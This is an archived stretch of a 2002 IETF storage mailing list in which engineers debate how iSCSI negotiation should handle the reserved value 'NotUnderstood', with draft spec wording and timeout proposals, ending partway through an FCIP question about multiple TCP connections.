g7D1X2I17102 for ips-outgoing; Mon, 12 Aug 2002 21:33:02 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from web13702.mail.yahoo.com (web13702.mail.yahoo.com [216.136.175.135]) by ece.cmu.edu (8.11.0/8.10.2) with SMTP id g7D1Wxo17097 for ; Mon, 12 Aug 2002 21:32:59 -0400 (EDT) Message-ID: <20020813013258.61239.qmail@web13702.mail.yahoo.com> Received: from [192.55.52.1] by web13702.mail.yahoo.com via HTTP; Mon, 12 Aug 2002 18:32:58 PDT Date: Mon, 12 Aug 2002 18:32:58 -0700 (PDT) From: Martins Krikis Subject: RE: Problem with use of NotUnderstood in negotiations To: ips@ece.cmu.edu In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk --- Julian Satran wrote: > I am afraid you have to remember any key received > just to avoid a rough > initiator/target knowingly send noise. > You may also want to terminate a session with too > many "NotUnderstood". Alright, so I understood everything so far and do realize that checking values for keys I don't understand may let me notice a protocol error quicker than by just returning NotUnderstood. I also think that the likelihood of this problem occuring is so low that letting both sides bounce back and forth the OGMarker=NotUnderstood until they time out or reach negotiation round limits would be acceptable. What I don't understand, however, is why I should try to remember the keys that I don't understand. What can possibly be gained from this? If the other party is dumb enough to send me a key that I don't understand twice, I don't mind noticing the problem only after a timeout or a negotiation round limit reached. And if the other side is simply just DoS-ing me, it can do it whether I am remembering unknown keys or not. That possibility was always in the protocol and there are no good ways to guard against it. That's why a good overall timeout or a limit on negotiation rounds is needed. Martins Krikis, Intel Corp. Disclaimer: these opinions are mine and may not be those of my employer __________________________________________________ Do You Yahoo!? HotJobs - Search Thousands of New Jobs http://www.hotjobs.com From owner-ips@ece.cmu.edu Tue Aug 13 02:52:49 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA03065 for ; Tue, 13 Aug 2002 02:52:49 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g7D6GE429961 for ips-outgoing; Tue, 13 Aug 2002 02:16:14 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from e1.ny.us.ibm.com (e1.ny.us.ibm.com [32.97.182.101]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g7D6GDo29956 for ; Tue, 13 Aug 2002 02:16:13 -0400 (EDT) Received: from northrelay02.pok.ibm.com (northrelay02.pok.ibm.com [9.56.224.150]) by e1.ny.us.ibm.com (8.12.2/8.12.2) with ESMTP id g7D6G6jI051632 for ; Tue, 13 Aug 2002 02:16:06 -0400 Received: from d03nm014.boulder.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by northrelay02.pok.ibm.com (8.12.3/NCO/VER6.3) with ESMTP id g7D6G3Zj122336 for ; Tue, 13 Aug 2002 02:16:03 -0400 X-Priority: 1 (High) Importance: Normal Subject: iSCSI:Problem with use of NotUnderstood in negotiations To: "Julian Satran" Cc: ips@ece.cmu.edu X-Mailer: Lotus Notes Release 5.0.7 March 21, 2001 Message-ID: From: "John Hufferd" Date: Mon, 12 Aug 2002 23:13:01 -0700 X-MIMETrack: Serialize by Router on D03NM014/03/M/IBM(Release 5.0.10 |March 22, 2002) at 08/13/2002 12:16:05 AM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk Isn't there a way to say that if you get a response of NotUnderstood, to a key that you do not understand, or to a key that you did not offer, that it is a protocol error. That should stop the loop dead in its tracts. It could be stated on page 66. The Pseudo Code would be,....do I understand the key, if not .... is NotUnderstood its value ... if so protocol error! (clearly if I do not understand it, I did not offer it.) . . . John L. Hufferd Senior Technical Staff Member (STSM) IBM/SSG San Jose Ca Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 Home Office (408) 997-6136, Cell: (408) 499-9702 Internet address: hufferd@us.ibm.com "THALER,PAT (A-Roseville,ex1)" @ece.cmu.edu on 08/12/2002 01:08:31 PM Sent by: owner-ips@ece.cmu.edu To: Julian Satran/Haifa/IBM@IBMIL, ips@ece.cmu.edu cc: Subject: RE: Problem with use of NotUnderstood in negotiations Julian, In the scenario, each device does use Notunderstood in a response. A sends keyxxx Silent data corruption occurs that changes keyxxx to keyxxy B gets keyxxy and doesn't recognize it so it responds keyxxy=Notunderstood A gets that and thinks it is an offer of a key it doesn't understand because it never sent keyxxy. A therefore sends keyxxy=Notunderstood B gets keyxxy and doesn't recognize it so it responds keyxxy=Notunderstood ..... Regards, Pat -----Original Message----- From: Julian Satran [mailto:Julian_Satran@il.ibm.com] Sent: Friday, August 09, 2002 9:24 PM To: ips@ece.cmu.edu Subject: RE: Problem with use of NotUnderstood in negotiations Bill, Perhaps the text is unabiguos but you just ignored the text that forbids it. The use of Notunderstood is limited to responses. Using it as you suggest is a protocol error. A repeated use will also violate the "no renegotiation rule". Julo Bill Studenmund ystems.com> cc: Sent by: Subject: RE: Problem with use of NotUnderstood in negotiations owner-ips@ece.cmu .edu 08/10/2002 02:22 AM On Fri, 9 Aug 2002, Bart Crane wrote: ?? In the scenario I describe, neither side believes it offered the key. > Thus, there is no need to add another rule regarding not-responding to > keys with NotUnderstood as a value, because a key with that value is > a protocol error. > > This could be made more explicit, but there does not seem to be any > ambiguity. There obviously is ambiguity. The fact we're having this discussion is proof. :-) I'd support saying this case is a protocol error, since it means something neither side understands got into the stream (and chances are an offer got removed). But I think adding an explicit direction as to what to do is needed. Take care, Bill From owner-ips@ece.cmu.edu Tue Aug 13 03:41:12 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA03930 for ; Tue, 13 Aug 2002 03:41:12 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g7D73Mo02061 for ips-outgoing; Tue, 13 Aug 2002 03:03:22 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate-3.de.ibm.com (d12lmsgate-3.de.ibm.com [195.212.91.201]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g7D73Ko02056 for ; Tue, 13 Aug 2002 03:03:20 -0400 (EDT) Received: from d12relay01.de.ibm.com (d12relay01.de.ibm.com [9.165.215.22]) by d12lmsgate-3.de.ibm.com (8.12.3/8.12.3) with ESMTP id g7D7377K012908; Tue, 13 Aug 2002 09:03:09 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay01.de.ibm.com (8.12.3/NCO/VER6.3) with ESMTP id g7D735wV067584; Tue, 13 Aug 2002 09:03:06 +0200 To: pat_thaler@agilent.com Cc: ips@ece.cmu.edu, owner-ips@ece.cmu.edu, wrstuden@wasabisystems.com MIME-Version: 1.0 Subject: RE: Problem with use of NotUnderstood in negotiations X-Mailer: Lotus Notes Release 5.0.9 November 16, 2001 From: "Julian Satran" Message-ID: Date: Tue, 13 Aug 2002 10:02:54 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.9a |January 7, 2002) at 13/08/2002 10:03:06, Serialize complete at 13/08/2002 10:03:06 Content-Type: multipart/alternative; boundary="=_alternative 00259AE5C2256C14_=" Sender: owner-ips@ece.cmu.edu Precedence: bulk This is a multipart message in MIME format. --=_alternative 00259AE5C2256C14_= Content-Type: text/plain; charset="us-ascii" Pat, I don't know what "silent data corruption is". The protocol is not built for this type of errors. Other than that you observe correctly that we do not mandate the receiver to check for every protocol error. However if it does not it has to implement some other means of protecting itself. None of the things that where suggested as protection are (or should be) mandatory. As for the count/timeout we may want to add to 4.2: A negotiation must end in within a reasonable time and/or number of exchanges. as well as add to 8.3 Text negotiations may be also subject to either time-limits or lim-its in the number of exchanges. Those should be generous enough to avoid affecting interoperability (e.g., allowing each key to be nego-tiated on a separate exchange). Julo pat_thaler@agilent.com Sent by: owner-ips@ece.cmu.edu 08/13/2002 03:35 AM To: Julian Satran/Haifa/IBM@IBMIL, wrstuden@wasabisystems.com cc: ips@ece.cmu.edu Subject: RE: Problem with use of NotUnderstood in negotiations Julian, Saying that a violation of a rule is a protocol error is not the same as saying that the receiver must detect and react to the error. I don't think your suggested change to the text changes anything. If we want to say that receiving an offer for any key (even if the key is not understood) with a value of "Reject", "Irrelevant" or "NotUnderstood" MUST be detected and treated as a protocol failure, then a specific statement to that effect should be added. Secondly, there is no requirement that re-negotiation MUST be detected. The specific text on renegotiation is (for login): If an attempt to re-negotiate/redeclare parameters not specifically allowed is detected by the target the target MUST respond with Login reject (initiator error); if detected by the initiator the initiator MUST drop the connection. The text for operational negotiation is similar except that the actions taken on detection are different. It says "If an attempt ...is detected" which is entirely different than saying such attempts "MUST be detected". As Bill as pointed out, detecting re-negotiation of unknown parameters is onerous and I am very opposed to adding such a requirement. It adds unnecessary cost for minimal benefit. For the keys that are supported, on just needs a couple of bits per parameter to keep track of whether the state is unnegotiated, received offer, sent offer or negotiation complete and one may need that state even if one wasn't going to detect re-negotiation. Thus, it is pretty trivial to detect re-negotiation of supported keys. If someone wants to maliciously tie up a negotiation, they can do so by continuously offering new unknown keys and no working non-malicious implementation will keep offering the same key. One would have to save all received unsupported keys and each time an unsupported key was received it would have to be compared to the list. This is time and memory consuming and unnecessary. It isn't required by draft 15 and no such requirement should be added. A simpler solution to concerns about the silent data corruption problem Bill identified is either 1) add in text requiring that an offer the value equal to NotUnderstood be detected as a protocol error even if the key is not supported/not understood or 2) rely on timing out the negotiation if it doesn't complete after reasonable time or number of exchanges (definition of reasoanble left to the implementation probably). Personally, I prefer number 2 because it will catch anything that hangs up a negotiation with one test. I don't know that we can find every corner case. Even if we could, it is better to have one test that digs us out for all corner case errors than to put in many specific tests. However, number 1 would also be acceptable to me. Regards, Pat -----Original Message----- From: Julian Satran [mailto:Julian_Satran@il.ibm.com] Sent: Saturday, August 10, 2002 9:40 PM To: Bill Studenmund Cc: ips@ece.cmu.edu Subject: RE: Problem with use of NotUnderstood in negotiations Bill, My only intention in the note was to be brief. If you viewed that as rude I am really sorry. I have a lot of mail to reply to and a limited time. As for the crux of the matter - if one of the parties receives a key it has not seen before with NotUnderstood as value it MUST act on it as a protocol error. The text is unambiguous on this. However we may want to strengthen the rule in 4 (and add another line of text) as follows: The constants "None", "Reject", "Irrelevant", and "NotUnderstood" are reserved and MUST ONLY be used as described here. Violation of this rule is a protocol error (in particular the use of "Reject", "Irrele-vant", and "NotUnderstood" as proposed values). In the second part of my comment I was just saying that if you failed to implement the above check you still can't enter a loop because the double negotiation rule. To get you in a loop in which every party think it answers - then either both are buggy or somebody is altering the messages maliciously. The protocol is not designed to handle either. Julo Bill Studenmund 08/11/2002 06:11 AM To: Julian Satran/Haifa/IBM@IBMIL cc: Subject: RE: Problem with use of NotUnderstood in negotiations On Sat, 10 Aug 2002, Julian Satran wrote: > Bill, > > Perhaps the text is unabiguos but you just ignored the text that forbids > it. Julian, I must say that the tone above is very unbecoming of the author of a protocol spec. In the past, I've often gotten snippy comments from you, but written them off to, well, I'm not sure what. But it seems that you really don't listen to what I say. You read a message, make an interpretation, do not question that interpretation, and then you run with it. That's really bad. Besides being quite rude and exceedingly arrogant, you'll miss things. And the iSCSI spec will suffer for it. Do you think whatever is going on between us worth more than a bad iSCSI spec? I don't. Also, if you're going to say that the text is unambiguous, please quote said text. That makes the discussion much clearer. > The use of Notunderstood is limited to responses. Using it as you suggest > is a protocol error. Julian, I have to ask, what exactly do you think I'm suggesting? From parsing your sentence, I read that you are telling me that I'm suggesting using NotUnderstood outside its limited scope, of responses. As I understand the situation I described, both parties think they are using NotUnderstood as a response. How is using it as a response outside its use as a response? > A repeated use will also violate the "no renegotiation rule". Please be VERY VERY VERY careful when saying that. Have you thought about what the statement you just made will imply? We are (or at least I started) talking about the case where one side THOUGHT it sent key X, but somehow it was key Y that made it to the other side. Be it a bug in the code on one side or the other, a PCI bus error in transfer, a router glitch, or what. Key Y doesn't exist in the spec, and it's in the negotiation stream. OGMarker or DataPDPInOrder would be examples. The point is, BOTH SIDES THINK THEY ARE RESPONDING to a key they don't understand. Reading the spec, it succinctly states if you get a key you don't understand, you MUST reply "NotUnderstood". Getting back to the "repeated use is a protocol violation," how is each side supposed to realize that they are seeing "OGMarker=NotUnderstood" for the second time, other than by remembering that it saw OGMarker as a not-understood key. i.e. by in addition to replying, "NotUnderstood", each side has to remember that it responded NotUnderstood to key foo. That seems unwise. I can think of at least one DoS attack if that really is what implementations do. Getting back to addressing the topic of the thread, what is wrong with this text, slightly modified from the I proposed in the first message? *** Any key not understood by the acceptor may be ignored by the acceptor without affecting the basic function. However, unless the value for the key was "NotUnderstood", the answer for a key not understood MUST be key=NotUnderstood. The value "NotUnderstood" for a key not understood MUST be considered a protocol violation. *** As I said before, my main interest is the spec point out that if for a key you don't understand you get the value "NotUnderstood" (i.e. the other side is telling you it didn't understand a key that it turns out you also don't understand), you don't just answer "NotUnderstood". Either saying nothing, or considering it a protocol violation (since if we both didn't understand the key it should have never gotten into the negotiations) are both fine options. I now favor protocol violation as if neither side understood the key, it should not be there. If it's there, something is wrong. Take care, Bill --=_alternative 00259AE5C2256C14_= Content-Type: text/html; charset="us-ascii"
Pat,

I don't know what "silent data corruption is". The protocol is not built for this type of errors.
Other than that you observe correctly that we do not mandate the receiver to check for every
protocol error. However if it does not it has to implement some other means of protecting itself.
None of the things that where suggested as protection are (or should be) mandatory.
As for the count/timeout we may want to add to 4.2:

A negotiation must end in within a reasonable time and/or number of exchanges.

as well as add to 8.3

Text negotiations may be also subject to either time-limits or lim-its in the number of exchanges. Those should be generous enough to avoid affecting interoperability (e.g., allowing each key to be nego-tiated on a separate exchange).

Julo



pat_thaler@agilent.com
Sent by: owner-ips@ece.cmu.edu

08/13/2002 03:35 AM

       
        To:        Julian Satran/Haifa/IBM@IBMIL, wrstuden@wasabisystems.com
        cc:        ips@ece.cmu.edu
        Subject:        RE: Problem with use of NotUnderstood in negotiations

       


Julian,
 
Saying that a violation of a rule is a protocol error is not the same as saying that the receiver must detect and react to the error. I don't think your suggested change to the text changes anything. If we want to say that receiving an offer for any key (even if the key is not understood) with a value of "Reject", "Irrelevant" or "NotUnderstood" MUST be detected and treated as a protocol failure, then a specific statement to that effect should be added.
 
Secondly, there is no requirement that re-negotiation MUST be detected. The specific text on renegotiation is (for login):

If an attempt to re-negotiate/redeclare parameters not specifically allowed is detected by the target the target MUST respond with Login reject (initiator error); if detected by the initiator the initiator MUST drop the connection.

The text for operational negotiation is similar except that the actions taken on detection are different.
 
It says "If an attempt ...is detected" which is entirely different than saying such attempts "MUST be detected".
 
As Bill as pointed out, detecting re-negotiation of unknown parameters is onerous and I am very opposed to adding such a requirement. It adds unnecessary cost for minimal benefit. For the keys that are supported, on just needs a couple of bits per parameter to keep track of whether the state is unnegotiated, received offer, sent offer or negotiation complete and one may need that state even if one wasn't going to detect re-negotiation. Thus, it is pretty trivial to detect re-negotiation of supported keys.
 
If someone wants to maliciously tie up a negotiation, they can do so by continuously offering new unknown keys and no working non-malicious implementation will keep offering the same key. One would have to save all
received unsupported keys and each time an unsupported key was received it would have to be compared to the list. This is time and memory consuming and unnecessary. It isn't required by draft 15 and no such requirement should be added.
 
A simpler solution to concerns about the silent data corruption problem Bill identified is either
 
1) add in text requiring that an offer the value equal to NotUnderstood be detected as a protocol error even if the key is not supported/not understood
 
or
 
2) rely on timing out the negotiation if it doesn't complete after reasonable time or number of exchanges (definition of reasoanble left to the implementation probably).
 
Personally, I prefer number 2 because it will catch anything that hangs up a negotiation with one test. I don't know that we can find every corner case. Even if we could, it is better to have one test that digs us out for all corner case errors than to put in many specific tests.
 
However, number 1 would also be acceptable to me.
 
Regards,
Pat
 
-----Original Message-----
From: Julian Satran [mailto:Julian_Satran@il.ibm.com]
Sent: Saturday, August 10, 2002 9:40 PM
To: Bill Studenmund
Cc: ips@ece.cmu.edu
Subject: RE: Problem with use of NotUnderstood in negotiations

Bill,

My only intention in the note was to be brief.  If you viewed that as rude I am really sorry.
I have a lot of mail to reply to and a limited time.

As for the crux of the matter - if one of the parties receives a key it has not seen before
with NotUnderstood as value it MUST act on it as a protocol error. The text is unambiguous on this.
However we may want to strengthen the rule in 4 (and add another line of text) as follows:

The constants "None", "Reject", "Irrelevant", and "NotUnderstood" are reserved and MUST ONLY be used as described here. Violation of this rule is a protocol error (in particular the use of "Reject", "Irrele-vant", and "NotUnderstood" as proposed values).

In the second part of my comment I was just saying that if you  failed to implement the above check you still can't enter a loop
because the double negotiation rule.

To get you in a loop in which every party think it answers - then either both are buggy or somebody is altering the messages maliciously.
The protocol is not designed to handle either.

Julo

Bill Studenmund <wrstuden@wasabisystems.com>

08/11/2002 06:11 AM

       
       To:        Julian Satran/Haifa/IBM@IBMIL
       cc:        <ips@ece.cmu.edu>
       Subject:        RE: Problem with use of NotUnderstood in negotiations

     



On Sat, 10 Aug 2002, Julian Satran wrote:

> Bill,
>
> Perhaps the text is unabiguos but you just ignored the text that forbids
> it.

Julian,

I must say that the tone above is very unbecoming of the author of a
protocol spec. In the past, I've often gotten snippy comments from you,
but written them off to, well, I'm not sure what. But it seems that you
really don't listen to what I say. You read a message, make an
interpretation, do not question that interpretation, and then you run with
it. That's really bad. Besides being quite rude and exceedingly arrogant,
you'll miss things. And the iSCSI spec will suffer for it. Do you think
whatever is going on between us worth more than a bad iSCSI spec? I don't.

Also, if you're going to say that the text is unambiguous, please quote
said text. That makes the discussion much clearer.

> The use of Notunderstood is limited to responses. Using it as you suggest
> is a protocol error.

Julian, I have to ask, what exactly do you think I'm suggesting? From
parsing your sentence, I read that you are telling me that I'm suggesting
using NotUnderstood outside its limited scope, of responses.

As I understand the situation I described, both parties think they are
using NotUnderstood as a response. How is using it as a response outside
its use as a response?

> A repeated use will also violate the "no renegotiation rule".

Please be VERY VERY VERY careful when saying that. Have you thought about
what the statement you just made will imply?

We are (or at least I started) talking about the case where one side
THOUGHT it sent key X, but somehow it was key Y that made it to the other
side. Be it a bug in the code on one side or the other, a PCI bus error in
transfer, a router glitch, or what. Key Y doesn't exist in the spec, and
it's in the negotiation stream. OGMarker or DataPDPInOrder would be
examples.

The point is, BOTH SIDES THINK THEY ARE RESPONDING to a key they don't
understand. Reading the spec, it succinctly states if you get a key you
don't understand, you MUST reply "NotUnderstood".

Getting back to the "repeated use is a protocol violation," how is each
side supposed to realize that they are seeing "OGMarker=NotUnderstood" for
the second time, other than by remembering that it saw OGMarker as a
not-understood key. i.e. by in addition to replying, "NotUnderstood", each
side has to remember that it responded NotUnderstood to key foo. That
seems unwise. I can think of at least one DoS attack if that really is
what implementations do.

Getting back to addressing the topic of the thread, what is wrong with
this text, slightly modified from the I proposed in the first message?

***
Any key not understood by the acceptor may be ignored by the acceptor
without affecting the basic function. However, unless the value for the
key was "NotUnderstood", the answer for a key not understood MUST be
key=NotUnderstood. The value "NotUnderstood" for a key not understood MUST
be considered a protocol violation.
***

As I said before, my main interest is the spec point out that if for a key
you don't understand you get the value "NotUnderstood" (i.e. the other
side is telling you it didn't understand a key that it turns out you also
don't understand), you don't just answer "NotUnderstood". Either
saying nothing, or considering it a protocol violation (since if we both
didn't understand the key it should have never gotten into the
negotiations) are both fine options. I now favor protocol violation as if
neither side understood the key, it should not be there. If it's there,
something is wrong.

Take care,

Bill

--=_alternative 00259AE5C2256C14_=-- From owner-ips@ece.cmu.edu Tue Aug 13 03:49:43 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA04087 for ; Tue, 13 Aug 2002 03:49:42 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g7D73e802085 for ips-outgoing; Tue, 13 Aug 2002 03:03:40 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate-3.de.ibm.com (d12lmsgate-3.de.ibm.com [195.212.91.201]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g7D73co02080 for ; Tue, 13 Aug 2002 03:03:39 -0400 (EDT) Received: from d12relay01.de.ibm.com (d12relay01.de.ibm.com [9.165.215.22]) by d12lmsgate-3.de.ibm.com (8.12.3/8.12.3) with ESMTP id g7D73W7K012302 for ; Tue, 13 Aug 2002 09:03:32 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay01.de.ibm.com (8.12.3/NCO/VER6.3) with ESMTP id g7D73VwV117232 for ; Tue, 13 Aug 2002 09:03:32 +0200 To: "John Hufferd" Cc: ips@ece.cmu.edu MIME-Version: 1.0 Subject: Re: iSCSI:Problem with use of NotUnderstood in negotiations X-Mailer: Lotus Notes Release 5.0.9 November 16, 2001 From: "Julian Satran" Message-ID: Date: Tue, 13 Aug 2002 10:03:26 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.9a |January 7, 2002) at 13/08/2002 10:03:32, Serialize complete at 13/08/2002 10:03:32 Content-Type: multipart/alternative; boundary="=_alternative 0026BB7BC2256C14_=" Sender: owner-ips@ece.cmu.edu Precedence: bulk This is a multipart message in MIME format. --=_alternative 0026BB7BC2256C14_= Content-Type: text/plain; charset="us-ascii" The (valid) point that Pat was making is that we do not request the receiver to check for every protocol error and it would be advisable to say something about a "blanket" protection. I have proposed a text for this in my previous note. Again neither this nor the protocol errors are mandatory - but a wise implementer will do something. Thanks, Julo John Hufferd@IBMUS 08/13/2002 09:13 AM To: Julian Satran/Haifa/IBM@IBMIL@IBMDE cc: ips@ece.cmu.edu From: John Hufferd/San Jose/IBM@IBMUS Subject: iSCSI:Problem with use of NotUnderstood in negotiations Isn't there a way to say that if you get a response of NotUnderstood, to a key that you do not understand, or to a key that you did not offer, that it is a protocol error. That should stop the loop dead in its tracts. It could be stated on page 66. The Pseudo Code would be,....do I understand the key, if not .... is NotUnderstood its value ... if so protocol error! (clearly if I do not understand it, I did not offer it.) . . . John L. Hufferd Senior Technical Staff Member (STSM) IBM/SSG San Jose Ca Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 Home Office (408) 997-6136, Cell: (408) 499-9702 Internet address: hufferd@us.ibm.com Sent by: owner-ips@ece.cmu.edu To: Julian Satran/Haifa/IBM@IBMIL, ips@ece.cmu.edu cc: Subject: RE: Problem with use of NotUnderstood in negotiations Julian, In the scenario, each device does use Notunderstood in a response. A sends keyxxx Silent data corruption occurs that changes keyxxx to keyxxy B gets keyxxy and doesn't recognize it so it responds keyxxy=Notunderstood A gets that and thinks it is an offer of a key it doesn't understand because it never sent keyxxy. A therefore sends keyxxy=Notunderstood B gets keyxxy and doesn't recognize it so it responds keyxxy=Notunderstood ..... Regards, Pat -----Original Message----- From: Julian Satran [mailto:Julian_Satran@il.ibm.com] Sent: Friday, August 09, 2002 9:24 PM To: ips@ece.cmu.edu Subject: RE: Problem with use of NotUnderstood in negotiations Bill, Perhaps the text is unabiguos but you just ignored the text that forbids it. The use of Notunderstood is limited to responses. Using it as you suggest is a protocol error. A repeated use will also violate the "no renegotiation rule". Julo Bill Studenmund ystems.com> cc: Sent by: Subject: RE: Problem with use of NotUnderstood in negotiations owner-ips@ece.cmu .edu 08/10/2002 02:22 AM On Fri, 9 Aug 2002, Bart Crane wrote: ?? In the scenario I describe, neither side believes it offered the key. > Thus, there is no need to add another rule regarding not-responding to > keys with NotUnderstood as a value, because a key with that value is > a protocol error. > > This could be made more explicit, but there does not seem to be any > ambiguity. There obviously is ambiguity. The fact we're having this discussion is proof. :-) I'd support saying this case is a protocol error, since it means something neither side understands got into the stream (and chances are an offer got removed). But I think adding an explicit direction as to what to do is needed. Take care, Bill --=_alternative 0026BB7BC2256C14_= Content-Type: text/html; charset="us-ascii"
The (valid) point that Pat was making is that we do not request the receiver to check for every protocol error and it would
be advisable to say something about a "blanket" protection.

I have proposed a text for this in my previous note.
Again neither this nor the protocol errors are mandatory - but  a wise
implementer will do something.

Thanks,
Julo


John Hufferd@IBMUS

08/13/2002 09:13 AM


        To:        Julian Satran/Haifa/IBM@IBMIL@IBMDE
        cc:        ips@ece.cmu.edu
        From:        John Hufferd/San Jose/IBM@IBMUS
        Subject:        iSCSI:Problem with use of NotUnderstood in negotiationsLink
 





Isn't there a way to say that if you get a response of NotUnderstood, to a key that you do not understand, or to a key that you did not offer, that it is a protocol error.  That should stop the loop dead in its tracts.  It could be stated on page 66.

The Pseudo Code would be,....do I understand the key, if not .... is NotUnderstood its value ... if so protocol error!   (clearly if I do not understand it, I did not offer it.)

.
.
.
John L. Hufferd
Senior Technical Staff Member (STSM)
IBM/SSG San Jose Ca
Main Office (408) 256-0403, Tie: 276-0403,  eFax: (408) 904-4688
Home Office (408) 997-6136, Cell: (408) 499-9702
Internet address: hufferd@us.ibm.com

Sent by:        owner-ips@ece.cmu.edu

To:        Julian Satran/Haifa/IBM@IBMIL, ips@ece.cmu.edu
cc:        
Subject:        RE: Problem with use of NotUnderstood in negotiations



Julian,
In the scenario, each device does use Notunderstood in a response.
A sends keyxxx
Silent data corruption occurs that changes keyxxx to keyxxy
B gets keyxxy and doesn't recognize it so it responds
keyxxy=Notunderstood
A gets that and thinks it is an offer of a key it doesn't understand because it never sent keyxxy.
A therefore sends
keyxxy=Notunderstood
B gets keyxxy and doesn't recognize it so it responds
keyxxy=Notunderstood
.....
Regards,
Pat
-----Original Message-----
From: Julian Satran [mailto:Julian_Satran@il.ibm.com]
Sent: Friday, August 09, 2002 9:24 PM
To: ips@ece.cmu.edu
Subject: RE: Problem with use of NotUnderstood in negotiations


Bill,
Perhaps the text is unabiguos but you just ignored the text that forbids
it.
The use of Notunderstood is limited to responses. Using it as you suggest
is a protocol error.
A repeated use will also violate the "no renegotiation rule".
Julo




Bill Studenmund
<wrstuden@wasabis        To:       Bart Crane <bcrane@iready.com>
ystems.com>              cc:       <ips@ece.cmu.edu>
Sent by:                 Subject:  RE: Problem with use of NotUnderstood in negotiations
owner-ips@ece.cmu
.edu


08/10/2002 02:22
AM





On Fri, 9 Aug 2002, Bart Crane wrote:
?? In the scenario I describe, neither side believes it offered the key.
> Thus, there is no need to add another rule regarding not-responding to
> keys with NotUnderstood as a value, because a key with that value is
> a protocol error.
>
> This could be made more explicit, but there does not seem to be any
> ambiguity.
There obviously is ambiguity. The fact we're having this discussion is
proof. :-)
I'd support saying this case is a protocol error, since it means something
neither side understands got into the stream (and chances are an offer got
removed). But I think adding an explicit direction as to what to do is
needed.
Take care,
Bill






--=_alternative 0026BB7BC2256C14_=-- From owner-ips@ece.cmu.edu Tue Aug 13 07:41:24 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA08241 for ; Tue, 13 Aug 2002 07:41:24 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g7DB6F625939 for ips-outgoing; Tue, 13 Aug 2002 07:06:15 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from siaar1ab.compuserve.com (siaar1ab.compuserve.com [149.174.40.10]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g7DB6Co25933 for ; Tue, 13 Aug 2002 07:06:12 -0400 (EDT) Received: (from mailgate@localhost) by siaar1ab.compuserve.com (8.9.3/8.9.3/SUN-REL-1.3) id HAA23099 for ips@ece.cmu.edu; Tue, 13 Aug 2002 07:06:06 -0400 (EDT) Received: from compuserve.com (dal-tgn-tkj-vty2.as.wcom.net [206.175.238.2]) by siaar1ab.compuserve.com (8.9.3/8.9.3/SUN-REL-1.3) with ESMTP id HAA22969; Tue, 13 Aug 2002 07:05:38 -0400 (EDT) Message-ID: <3D58E85D.EE9E5FD2@compuserve.com> Date: Tue, 13 Aug 2002 06:07:09 -0500 From: Ralph Weber Reply-To: roweber@acm.org X-Mailer: Mozilla 4.7 [en]C-CCK-MCD NSCPCD47 (WinNT; I) X-Accept-Language: en,pdf MIME-Version: 1.0 To: Murali Rajagopal , Chong Peng , ips@ece.cmu.edu Subject: Re: questions about fcip References: Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 8bit The answer provided for question 2 contains too many letters. The FC Entity distributes traffic among the multiple TCP connections (if any). The distinction is based on the fact that only the FC Entity has enough knowledge to do the distribution. Also, this is the reason no suggestions regarding how to do the distribution are provided in FCIP. .Ralph Murali Rajagopal wrote: > > > Question 1: Why would a FCIP link need multiple TCP connections? > Following text extracted from Section 11.1 provides some motivations for > multiple TCP connections. > > " .... > Depending on the sophistication of the FC Entity, further value may be > obtained by having multiple TCP Connections with differing QoS > characteristics. > > There are many reasons why an FC Entity might request creation of multiple > TCP Connections within an FCIP_LEP. These reasons include a desire to > provide differentiated service for different TCP data connections between > FCIP_LEPs or a preference to separately queue different streams of traffic > not having a common in-order delivery requirement. ...." > > Question 2. If there are multiple TCP connections in a FCIP link, which > entity is responsible for distributing traffic among them? > > The FCIP Entity. > > -----Original Message----- > From: owner-ips@ece.cmu.edu [mailto:owner-ips@ece.cmu.edu]On Behalf Of > Chong Peng > Sent: Sunday, August 04, 2002 4:02 PM > To: ips@ece.cmu.edu > Subject: questions about fcip > > FCIP gurus: > > The FCIP protocol allows one FCIP link have multiple TCP connection. I have > two questions about this: > > 1. Why would a FCIP link need multiple TCP connections? > 2. If there are multiple TCP connections in a FCIP 